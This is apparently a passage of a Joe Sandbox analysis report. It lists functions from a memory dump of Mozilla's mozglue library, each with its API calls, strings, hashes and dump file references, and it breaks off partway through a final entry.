abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6BF85C8C,?,6BF5E829), ref: 6BF85E45

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 207f0d8d75216d5951e1f5967982678a2d0c4f34b5621741fd5fb1039f5433ba
Instruction ID: 0d5a862b453973b878e385919f97f775f90483cf71127f276da64540c607b4dc
Opcode Fuzzy Hash: 207f0d8d75216d5951e1f5967982678a2d0c4f34b5621741fd5fb1039f5433ba
Instruction Fuzzy Hash: 09415332A10209CFDB14DF64C899BAD77B6FF49354F044469DA0A97362EB38D805CB51

Function 6BF5CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6BF231A7), ref: 6BF5CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6BF5CFA4, 6BF5CFB8
<jemalloc>, xrefs: 6BF5CF9F, 6BF5CFB3

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: c8d26c10cf38472239986a2afb5e20c9c10a91b8243792355fcda4243bd613fc
Instruction ID: f14a8098f642506ee4d4ebb426eeb7405f06549834cd7442d63727351c8f712c
Opcode Fuzzy Hash: c8d26c10cf38472239986a2afb5e20c9c10a91b8243792355fcda4243bd613fc
Instruction Fuzzy Hash: 9031F933B502099BFF049BA48C85B6F7BB6BF51B50F204015F612AB2E0DB78D564CBA1

Function 6BF2BAE0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6BF2BC03
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6BF2BD06

Strings

y, xrefs: 6BF2BC4E
0, xrefs: 6BF2BBCD
0, xrefs: 6BF2BC74

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$0$y
API String ID: 2811501404-3020536412
Opcode ID: 122a5dd9528413c6a11af8227d5eaf240b5c3052743c44c52ae64582186a7f15
Instruction ID: a5cac1f02cf0488e34cec794a36c1dec9e8506ec6aba6396cea1b7c00c1472cd
Opcode Fuzzy Hash: 122a5dd9528413c6a11af8227d5eaf240b5c3052743c44c52ae64582186a7f15
Instruction Fuzzy Hash: 6961B173A083458FC714CF78C591A5BB7E5EF8A344F004A6EEC85A7362DB38D9498792

Function 6BF2ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF2F100: LoadLibraryW.KERNEL32(shell32,?,6BF9D020), ref: 6BF2F122
Part of subcall function 6BF2F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6BF2F132

moz_xmalloc.MOZGLUE(00000012), ref: 6BF2ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BF2EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6BF2EDCC
CreateFileW.KERNEL32 ref: 6BF2EE08
free.MOZGLUE(00000000), ref: 6BF2EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6BF2EE32

Part of subcall function 6BF2EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6BF2EBB5
Part of subcall function 6BF2EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6BF5D7F3), ref: 6BF2EBC3
Part of subcall function 6BF2EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6BF5D7F3), ref: 6BF2EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6BF2EDC1

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 69668b726632e181282966556e0bfc32f164e605c2a50224ec01eedada9f08b8
Instruction ID: 48c790317ca3719dd7bbf429fb4ba308eb94fd8a6ce64a7b74e1fa932a46c71c
Opcode Fuzzy Hash: 69668b726632e181282966556e0bfc32f164e605c2a50224ec01eedada9f08b8
Instruction Fuzzy Hash: 5D511473D24305CBDB00DFB8C8417AEB7B0AF59318F55842DE8557B261E738A948CBA2

Function 6BF30A60 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000000C,?,6BF8B80C,00000000,?,?,6BF3003B,?), ref: 6BF30A72

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

moz_xmalloc.MOZGLUE(?,?,6BF8B80C,00000000,?,?,6BF3003B,?), ref: 6BF30AF5
free.MOZGLUE(00000000,?,?,6BF8B80C,00000000,?,?,6BF3003B,?), ref: 6BF30B9F
free.MOZGLUE(?,?,?,6BF8B80C,00000000,?,?,6BF3003B,?), ref: 6BF30BDB
free.MOZGLUE(00000000,?,?,6BF8B80C,00000000,?,?,6BF3003B,?), ref: 6BF30BED
mozalloc_abort.MOZGLUE(alloc overflow,?,6BF8B80C,00000000,?,?,6BF3003B,?), ref: 6BF30C0A

Strings

alloc overflow, xrefs: 6BF30C05

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$moz_xmalloc$mallocmozalloc_abort
String ID: alloc overflow
API String ID: 1471638834-749304246
Opcode ID: 40a5c52364b5db9c015b3e7e9c88c7d7b8d16523aebfa33b9e9a96bcd2e9f4c9
Instruction ID: a339befeef7a19966e7d1d7e56a501d853efd82e50039b7aca61a860070feb48
Opcode Fuzzy Hash: 40a5c52364b5db9c015b3e7e9c88c7d7b8d16523aebfa33b9e9a96bcd2e9f4c9
Instruction Fuzzy Hash: 1751B2B2A00216CFDB14CF28D880B5EB3B6FF44348F14496EC85ADB211EBB9E544CB91

Function 6BF9A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6BF9A565

Part of subcall function 6BF9A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BF9A4BE
Part of subcall function 6BF9A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6BF9A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6BF9A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6BF9A6B6

Strings

z, xrefs: 6BF9A6AE
0, xrefs: 6BF9A5FB

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 6682036cd424861578c7bc81938a8979fc078be7c35746341c40f2b617eab000
Instruction ID: 1875bb4492b9cecfd8e93af4193cc68f48edebb4147568e92796752d2a739ce6
Opcode Fuzzy Hash: 6682036cd424861578c7bc81938a8979fc078be7c35746341c40f2b617eab000
Instruction Fuzzy Hash: 514127729087459FD341DF28D080A4BBBE5FF89354F409A2EF49987260EB34E649CB92

Function 6BF278C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6BFA008B), ref: 6BF27B89
free.MOZGLUE(?,6BFA008B), ref: 6BF27BAC

Part of subcall function 6BF278C0: free.MOZGLUE(?,6BFA008B), ref: 6BF27BCF

free.MOZGLUE(?,6BFA008B), ref: 6BF27BF2

Part of subcall function 6BF45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF45EDB
Part of subcall function 6BF45E90: memset.VCRUNTIME140(6BF87765,000000E5,55CCCCCC), ref: 6BF45F27
Part of subcall function 6BF45E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF45FB2

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 876a10d22c8989679535381b842642a6e701c9e447a48efe091274065afae0f8
Instruction ID: 1f7c70c86f52ba4c329762a3b821e3d6dce027447a7168ef3108675d0e2c0bfa
Opcode Fuzzy Hash: 876a10d22c8989679535381b842642a6e701c9e447a48efe091274065afae0f8
Instruction Fuzzy Hash: 73C1C633E011298BEB24CBA8CCA0B9DB772BF41314F5006E9D51AA73E1D7399E858F51

Function 6BF69420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6BF5AB89: EnterCriticalSection.KERNEL32(6BFAE370,?,?,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284), ref: 6BF5AB94
Part of subcall function 6BF5AB89: LeaveCriticalSection.KERNEL32(6BFAE370,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF5ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
__Init_thread_footer.LIBCMT ref: 6BF6949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6BF6947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6BF69459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6BF6946B

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: cbdc03847be7bbda29a9a3a92f7f97df62e96dd48e604bbb2c7d4068b73feed3
Instruction ID: 85e29f0133b001f567c4a399187f9fad512a5f27ba9b9d439e2d613e52ae6207
Opcode Fuzzy Hash: cbdc03847be7bbda29a9a3a92f7f97df62e96dd48e604bbb2c7d4068b73feed3
Instruction Fuzzy Hash: 4D01D873900101C7D7589B6CD851B4E33ADDB0A365F11C037DD06CA272EA2BE9688A63

Function 6BF71220 Relevance: 12.2, APIs: 8, Instructions: 173threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF7124B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF71268
GetCurrentThreadId.KERNEL32 ref: 6BF712DA
InitializeConditionVariable.KERNEL32(?), ref: 6BF7134A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6BF7138A
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6BF71431

Part of subcall function 6BF68AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BF81563), ref: 6BF68BD5

free.MOZGLUE(?), ref: 6BF7145A
free.MOZGLUE(?), ref: 6BF7146C

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 271b98085e36635cbef41a6e2b09c76639b3b7a36aca90a39fbf5c166e782d61
Instruction ID: cbfd4eb595d9dd8ae76aaa709e2f0fe414bffd4c3cca4f22bb803a8726e499e7
Opcode Fuzzy Hash: 271b98085e36635cbef41a6e2b09c76639b3b7a36aca90a39fbf5c166e782d61
Instruction Fuzzy Hash: F961F2769043059BDB20EF34D89079AB7F5FFC5308F0089AEE88997222EB35E559CB41

Function 6BF70F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF70F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF70F88
GetCurrentThreadId.KERNEL32 ref: 6BF70FF7
InitializeConditionVariable.KERNEL32(?), ref: 6BF71067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6BF710A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6BF7114B

Part of subcall function 6BF68AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BF81563), ref: 6BF68BD5

free.MOZGLUE(?), ref: 6BF71174
free.MOZGLUE(?), ref: 6BF71186

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 3523208f3756d3f437a0db2d70bbd6de138c0067024fa2a5e3e88c90c32ebd46
Instruction ID: bff8d5df7b163abbcad9963886cc065425675eee61458cd705693b30e90ac735
Opcode Fuzzy Hash: 3523208f3756d3f437a0db2d70bbd6de138c0067024fa2a5e3e88c90c32ebd46
Instruction Fuzzy Hash: B061E3769143059BDB20EF34D890B9AB7F5FFC5308F0089AEE88947222EB75E549CB41

Function 6BF24B50 Relevance: 12.2, APIs: 8, Instructions: 164COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6BF24667,?,?,?,?,?,?,?,?,6BF64843,?), ref: 6BF24C63
free.MOZGLUE(?,?,?,6BF24667,?,?,?,?,?,?,?,?,6BF64843,?), ref: 6BF24C89
free.MOZGLUE(?,?,?,6BF24667,?,?,?,?,?,?,?,?,6BF64843,?), ref: 6BF24CAC
free.MOZGLUE(?,?,?,?,?,?,?,6BF64843,?), ref: 6BF24CCF
free.MOZGLUE(?,?,?,?,?,?,?,?,6BF64843,?), ref: 6BF24CF2
free.MOZGLUE(?,?,?,?,?,?,?,?,6BF64843,?), ref: 6BF24D15
free.MOZGLUE(?,?,?,?,?,?,?,?,6BF64843,?), ref: 6BF24D38
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6BF24667,?,?,?,?,?,?,?,?,6BF64843,?), ref: 6BF24DD1

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1497960986-0
Opcode ID: 8cd1f7792c25a9d9aa6f0fa609271d05af24d0ab79ae347afc342294c51186f4
Instruction ID: b0887753e61fafd8249826f326705346e6a5a078535908d3cbbb7c9bd7cf3d1e
Opcode Fuzzy Hash: 8cd1f7792c25a9d9aa6f0fa609271d05af24d0ab79ae347afc342294c51186f4
Instruction Fuzzy Hash: 26517573504A408FE3249BBCD9A475677A2AF41728F404A1CE6A7CBFF1E3B9A4448B41

Function 6BF2E9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6BF31999), ref: 6BF2EA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6BF2EA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6BF2EA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6BF31999), ref: 6BF2EA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6BF31999), ref: 6BF2EAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6BF2EADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6BF2EB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6BF2EB27

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 4cbe1cd1951eb80a9f6b9b9e9a513c43ca33aa3c6a45df5c403cc02e184d4a69
Instruction ID: 3293fef12e9e16716c323554e89dbe65f5130b1932517e41945a968d949ceec0
Opcode Fuzzy Hash: 4cbe1cd1951eb80a9f6b9b9e9a513c43ca33aa3c6a45df5c403cc02e184d4a69
Instruction Fuzzy Hash: 3E41A6B2900216DFEB14CFB8DC81AAEB7A4FF54254F240668E815D73A4E734DA048BE1

Function 6BF7D310 Relevance: 12.1, APIs: 8, Instructions: 132threadtimeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF7D36B
GetCurrentThreadId.KERNEL32 ref: 6BF7D38A
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7D39D
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF7D3E1
free.MOZGLUE ref: 6BF7D408

Part of subcall function 6BF5CBE8: GetCurrentProcess.KERNEL32(?,6BF231A7), ref: 6BF5CBF1
Part of subcall function 6BF5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF231A7), ref: 6BF5CBFA

GetCurrentThreadId.KERNEL32 ref: 6BF7D44B
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7D457
ReleaseSRWLockExclusive.KERNEL32(?,?), ref: 6BF7D472

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$Current$AcquireProcessReleaseThread$StampTerminateTimeV01@@Value@mozilla@@free
String ID:
API String ID: 3843575911-0
Opcode ID: 3e4baf5672dd6a2a897ed3f1f55053d2f88c41318455e1d01d41e7854b155e19
Instruction ID: 6dc7ec25502a7cf97a9f0fa81f9d93fb25d8487c6f3458f31f7703be4bc64e8d
Opcode Fuzzy Hash: 3e4baf5672dd6a2a897ed3f1f55053d2f88c41318455e1d01d41e7854b155e19
Instruction Fuzzy Hash: 8741CDB6500305CFCB14EF64D484B9EBBB5FF85310F10496EE95297260EB79E848CB91

Function 6BF2EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6BFA5104), ref: 6BF2EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BF2EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BF2EFEC
free.MOZGLUE(?), ref: 6BF2F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BF2F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6BF2F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF2F065
moz_xmalloc.MOZGLUE ref: 6BF2F072

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 889a8bb08fea9d86bb09172e8d8efaffd91fe6ac67e1ddb77c080793d5daa647
Instruction ID: 4a037fbf72d65b9f3f2876523bf06d3de0fbe98222e94693ec9651f909ddf852
Opcode Fuzzy Hash: 889a8bb08fea9d86bb09172e8d8efaffd91fe6ac67e1ddb77c080793d5daa647
Instruction Fuzzy Hash: A941E7B3E102169FDB08CFB8D8919AF7765AF84314B24462CE815DB3A4EB35E911C7E1

Function 6BF2B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

